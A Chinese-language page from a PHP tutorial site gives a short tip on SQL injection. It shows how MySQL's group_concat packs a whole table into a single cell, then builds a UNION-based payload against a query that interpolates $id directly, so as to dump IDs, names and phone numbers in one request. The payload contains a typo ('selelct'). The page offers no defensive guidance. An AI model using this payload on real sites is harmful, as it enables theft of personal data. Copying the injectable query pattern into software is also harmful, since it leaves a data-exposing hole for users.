来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] php sql injector的时候，很多情况下都是显示一行一行的数据，要一次得到全部数据或者表格，那就的重复多次。函数group_concat可以实现将表格放入一个单元格中（即仅有一行一列）例如：...
|
php sql injector的时候，很多情况下都是显示一行一行的数据，要一次得到全部数据或者表格，那就的重复多次。 函数group_concat可以实现将表格放入一个单元格中（即仅有一行一列） 例如： select group_concat(id,0x7c,name,0x7c,tel,0x5d) from g 那么将得到： 1|张三|83023023],|李四|13893232322],..... （注意上面查询结果不是一行多列，而是一行一列） 假设原来的sql注入地方为： select name from userinfo where id=$id 那么可以这样构造： id=1 and 1=2 union selelct group_concat(id,0x7c,name,0x7c,tel,0x5d) from g 作者：hi.baidu.com/it_security |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
